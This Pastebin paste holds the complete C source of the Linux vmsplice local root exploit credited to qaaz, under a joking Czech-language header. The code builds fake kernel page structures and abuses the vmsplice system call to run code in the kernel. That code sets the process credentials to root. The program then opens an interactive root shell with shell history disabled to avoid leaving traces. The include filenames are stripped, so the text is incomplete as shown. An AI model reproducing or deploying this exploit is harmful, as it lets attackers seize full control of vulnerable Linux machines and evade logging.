Advertisement
Guest User

Untitled

a guest
Sep 26th, 2017
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.90 KB | None | 0 0
  1.  
  2. /*
  3. * jessica_biel_naked_in_my_bed.c
  4. *
  5. * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
  6. * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
  7. * Stejnak je to stare jak cyp a aj jakesyk rozbite.
  8. *
  9. * Linux vmsplice Local Root Exploit
  10. * By qaaz
  11. *
  12. * Linux 2.6.18 - 2011
  13. *
  14. * This is quite old code and I had to rewrite it to even compile.
  15. * It should work well, but I don't remeber original intent of all
  16. * the code, so I'm not 100% sure about it. You've been warned ;)
  17. *
  18. * -static -Wno-format
  19. */
  20. #define _GNU_SOURCE
  21. #include
  22. #include
  23. #include
  24. #include
  25. #include
  26. #include
  27. #include
  28. #include
  29. #include
  30. #include
  31. #include
  32. #define __KERNEL__
  33. #include
  34.  
  35. #define PIPE_BUFFERS 16
  36. #define PG_compound 14
  37. #define uint unsigned int
  38. #define static_inline static inline __attribute__((always_inline))
  39. #define STACK(x) (x + sizeof(x) - 40)
  40.  
  41. struct page {
  42. unsigned long flags;
  43. int count;
  44. int mapcount;
  45. unsigned long private;
  46. void *mapping;
  47. unsigned long index;
  48. struct { long next, prev; } lru;
  49. };
  50.  
  51. void exit_code();
  52. char exit_stack[1024 * 1024];
  53.  
  54. void die(char *msg, int err)
  55. {
  56. printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  57. fflush(stdout);
  58. fflush(stderr);
  59. exit(1);
  60. }
  61.  
  62. #if defined (__i386__)
  63.  
  64. #ifndef __NR_vmsplice
  65. #define __NR_vmsplice 316
  66. #endif
  67.  
  68. #define USER_CS 0x73
  69. #define USER_SS 0x7b
  70. #define USER_FL 0x246
  71.  
  72. static_inline
  73. void exit_kernel()
  74. {
  75. __asm__ __volatile__ (
  76. "movl %0, 0x10(%%esp) ;"
  77. "movl %1, 0x0c(%%esp) ;"
  78. "movl %2, 0x08(%%esp) ;"
  79. "movl %3, 0x04(%%esp) ;"
  80. "movl %4, 0x00(%%esp) ;"
  81. "iret"
  82. : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  83. "i" (USER_CS), "r" (exit_code)
  84. );
  85. }
  86.  
  87. static_inline
  88. void * get_current()
  89. {
  90. unsigned long curr;
  91. __asm__ __volatile__ (
  92. "movl %%esp, %%eax ;"
  93. "andl %1, %%eax ;"
  94. "movl (%%eax), %0"
  95. : "=r" (curr)
  96. : "i" (~8191)
  97. );
  98. return (void *) curr;
  99. }
  100.  
  101. #elif defined (__x86_64__)
  102.  
  103. #ifndef __NR_vmsplice
  104. #define __NR_vmsplice 278
  105. #endif
  106.  
  107. #define USER_CS 0x23
  108. #define USER_SS 0x2b
  109. #define USER_FL 0x246
  110.  
  111. static_inline
  112. void exit_kernel()
  113. {
  114. __asm__ __volatile__ (
  115. "swapgs ;"
  116. "movq %0, 0x20(%%rsp) ;"
  117. "movq %1, 0x18(%%rsp) ;"
  118. "movq %2, 0x10(%%rsp) ;"
  119. "movq %3, 0x08(%%rsp) ;"
  120. "movq %4, 0x00(%%rsp) ;"
  121. "iretq"
  122. : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  123. "i" (USER_CS), "r" (exit_code)
  124. );
  125. }
  126.  
  127. static_inline
  128. void * get_current()
  129. {
  130. unsigned long curr;
  131. __asm__ __volatile__ (
  132. "movq %%gs:(0), %0"
  133. : "=r" (curr)
  134. );
  135. return (void *) curr;
  136. }
  137.  
  138. #else
  139. #error "unsupported arch"
  140. #endif
  141.  
  142. #if defined (_syscall4)
  143. #define __NR__vmsplice __NR_vmsplice
  144. _syscall4(
  145. long, _vmsplice,
  146. int, fd,
  147. struct iovec *, iov,
  148. unsigned long, nr_segs,
  149. unsigned int, flags)
  150.  
  151. #else
  152. #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
  153. #endif
  154.  
  155. static uint uid, gid;
  156.  
  157. void kernel_code()
  158. {
  159. int i;
  160. uint *p = get_current();
  161.  
  162. for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } exit_kernel(); } void exit_code() { if (getuid() != 0) die("wtf", 0); printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); } int main(int argc, char *argv[]) { int pi[2]; size_t map_size; char * map_addr; struct iovec iov; struct page * pages[5]; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n"); if (!uid || !gid) die("!@#$", 0); /*****/ pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; pages[1] = pages[0] + 1; map_size = PAGE_SIZE; map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[0]); printf("[+] page: 0x%lx\n", pages[1]); pages[0]->flags = 1 << PG_compound; pages[0]->private = (unsigned long) pages[0];
  163. pages[0]->count = 1;
  164. pages[1]->lru.next = (long) kernel_code;
  165.  
  166. /*****/
  167. pages[2] = *(void **) pages[0];
  168. pages[3] = pages[2] + 1;
  169.  
  170. map_size = PAGE_SIZE;
  171. map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
  172. MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  173. if (map_addr == MAP_FAILED)
  174. die("mmap", errno);
  175.  
  176. memset(map_addr, 0, map_size);
  177. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  178. printf("[+] page: 0x%lx\n", pages[2]);
  179. printf("[+] page: 0x%lx\n", pages[3]);
  180.  
  181. pages[2]->flags = 1 << PG_compound; pages[2]->private = (unsigned long) pages[2];
  182. pages[2]->count = 1;
  183. pages[3]->lru.next = (long) kernel_code;
  184.  
  185. /*****/
  186. pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
  187. map_size = PAGE_SIZE;
  188. map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
  189. MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  190. if (map_addr == MAP_FAILED)
  191. die("mmap", errno);
  192. memset(map_addr, 0, map_size);
  193. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  194. printf("[+] page: 0x%lx\n", pages[4]);
  195.  
  196. /*****/
  197. map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
  198. map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
  199. MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  200. if (map_addr == MAP_FAILED)
  201. die("mmap", errno);
  202.  
  203. memset(map_addr, 0, map_size);
  204. printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  205.  
  206. /*****/
  207. map_size -= 2 * PAGE_SIZE;
  208. if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
  209. die("munmap", errno);
  210.  
  211. /*****/
  212. if (pipe(pi) < 0) die("pipe", errno);
  213. close(pi[0]);
  214.  
  215. iov.iov_base = map_addr;
  216. iov.iov_len = ULONG_MAX;
  217.  
  218. signal(SIGPIPE, exit_code);
  219. _vmsplice(pi[1], &iov, 1, 0);
  220. die("vmsplice", errno);
  221. return 0;
  222. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement